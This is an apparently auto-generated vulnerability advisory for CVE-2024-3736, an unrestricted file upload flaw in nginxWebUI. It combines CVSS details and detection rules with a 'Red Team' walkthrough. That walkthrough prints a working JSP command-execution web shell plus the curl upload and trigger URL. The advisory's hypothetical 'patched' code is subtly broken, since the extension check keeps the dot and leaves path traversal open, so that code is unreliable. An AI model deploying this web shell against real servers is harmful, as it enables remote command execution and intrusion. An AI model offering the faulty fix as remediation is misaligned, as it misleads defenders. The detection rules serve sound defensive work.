CVE-2024-3736
Executive Summary
CVE-2024-3736 is a problematic vulnerability in cym1102 nginxWebUI up to version 3.9.9. The flaw resides in the file upload functionality at /adminPage/main/upload, allowing unrestricted file uploads. This can be exploited remotely without authentication, leading to potential arbitrary file uploads that may compromise the server. The vulnerability has been publicly disclosed, and proof-of-concept (PoC) code is available, increasing the risk of exploitation. The CVSS score is 4.3 (Medium), indicating a moderate threat level. No patch is currently available, and the vendor has not released an update.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone Java-based web application (nginxWebUI) used for managing Nginx configurations. The risk is primarily to the application itself and the underlying server.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability allows an attacker to upload arbitrary files, potentially leading to remote code execution if the uploaded file is executed (e.g., a web shell). However, the impact is limited to integrity, as the attacker can modify files but not directly access data or cause denial of service.
Deep Dive & Mechanics
The vulnerability is a classic unrestricted file upload (CWE-434) in the /adminPage/main/upload endpoint of nginxWebUI. The application fails to properly validate the type, size, or content of uploaded files, allowing an attacker to upload any file type, including executable scripts (e.g., JSP, PHP, or shell scripts). If the uploaded file is stored in a web-accessible directory and the server is configured to execute such files, an attacker can achieve remote code execution.
The attack is straightforward: an attacker sends a POST request to /adminPage/main/upload with a malicious file (e.g., a JSP web shell) in the request body. The server accepts the file and stores it in a predictable location (e.g., /uploads/ or /tmp/). The attacker then accesses the uploaded file via a web browser, triggering execution.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the current implementation in nginxWebUI <= 3.9.9. The upload handler likely lacks checks for file extension, MIME type, or content validation.
Vulnerable Code (Conceptual):
// Vulnerable: No validation
public String uploadFile(MultipartFile file) {
String fileName = file.getOriginalFilename();
File dest = new File(uploadDir + fileName);
file.transferTo(dest);
return "File uploaded successfully";
}
Patched Code (Hypothetical):
// Patched: Validate file extension and content
public String uploadFile(MultipartFile file) {
String fileName = file.getOriginalFilename();
String extension = fileName.substring(fileName.lastIndexOf("."));
List<String> allowedExtensions = Arrays.asList("png", "jpg", "gif", "txt");
if (!allowedExtensions.contains(extension)) {
return "Invalid file type";
}
// Also validate MIME type and content
File dest = new File(uploadDir + fileName);
file.transferTo(dest);
return "File uploaded successfully";
}
Exploitation & Lab Setup
Red Team (Exploitation)
- Setup: Deploy nginxWebUI version 3.9.9 on a test server (e.g., using Docker or a local Java environment).
- Craft Payload: Create a JSP web shell (e.g.,
cmd.jsp) that executes system commands.<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } %> - Upload: Send a POST request to
/adminPage/main/uploadwith the malicious file.curl -X POST -F "file=@cmd.jsp" http://target.com/adminPage/main/upload - Execute: Access the uploaded file at
http://target.com/uploads/cmd.jsp?cmd=id. - Verify: The output should show the server's user ID.
Blue Team (Detection & Response)
- Monitor Upload Endpoint: Log all POST requests to
/adminPage/main/uploadand inspect file names and sizes. - File Integrity Monitoring: Use tools like Tripwire or AIDE to detect new or modified files in web-accessible directories.
- Web Application Firewall (WAF): Block uploads of executable file types (e.g., .jsp, .php, .exe) unless explicitly allowed.
- Honeypot: Deploy a fake upload directory to catch attackers.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/adminPage/main/uploadwith unusual file extensions (e.g., .jsp, .php, .war). - Outbound connections from the server to unknown IPs (if web shell is used for C2).
- POST requests to
- File IOCs:
- Unexpected files in
/uploads/or/tmp/directories with executable extensions. - Files with names like
cmd.jsp,shell.php, orbackdoor.jsp.
- Unexpected files in
- System IOCs:
- Unusual processes (e.g.,
cmd.exe,/bin/sh) spawned by the Java application. - Modified system files or configuration changes.
- Unusual processes (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_3736_Unrestricted_Upload {
meta:
description = "Detects attempts to exploit CVE-2024-3736 via unrestricted file upload"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3736"
strings:
$upload_path = "/adminPage/main/upload"
$jsp_shell = "Runtime.getRuntime().exec"
$php_shell = "system("
condition:
$upload_path and ($jsp_shell or $php_shell)
}
Sigma Rule
title: CVE-2024-3736 Unrestricted File Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /adminPage/main/upload with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: "/adminPage/main/upload"
cs-uri-query|contains:
- ".jsp"
- ".php"
- ".war"
- ".exe"
condition: selection
falsepositives:
- Legitimate file uploads with allowed extensions
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-3736 Unrestricted File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/adminPage/main/upload"; http.client_body; content:".jsp"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Upload Endpoint: If not required, block access to
/adminPage/main/uploadvia web server configuration (e.g., Nginx or Apache). - Input Validation: Implement server-side validation for file type, size, and content. Use a whitelist of allowed extensions.
- File Storage: Store uploaded files outside the web root and serve them via a script that enforces MIME type checks.
- Web Application Firewall (WAF): Deploy a WAF to block requests with suspicious file extensions.
Long-Term Fix:
- Monitor the vendor for a patch. If none is released, consider migrating to an alternative solution or implementing a custom fix.
Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Expert System.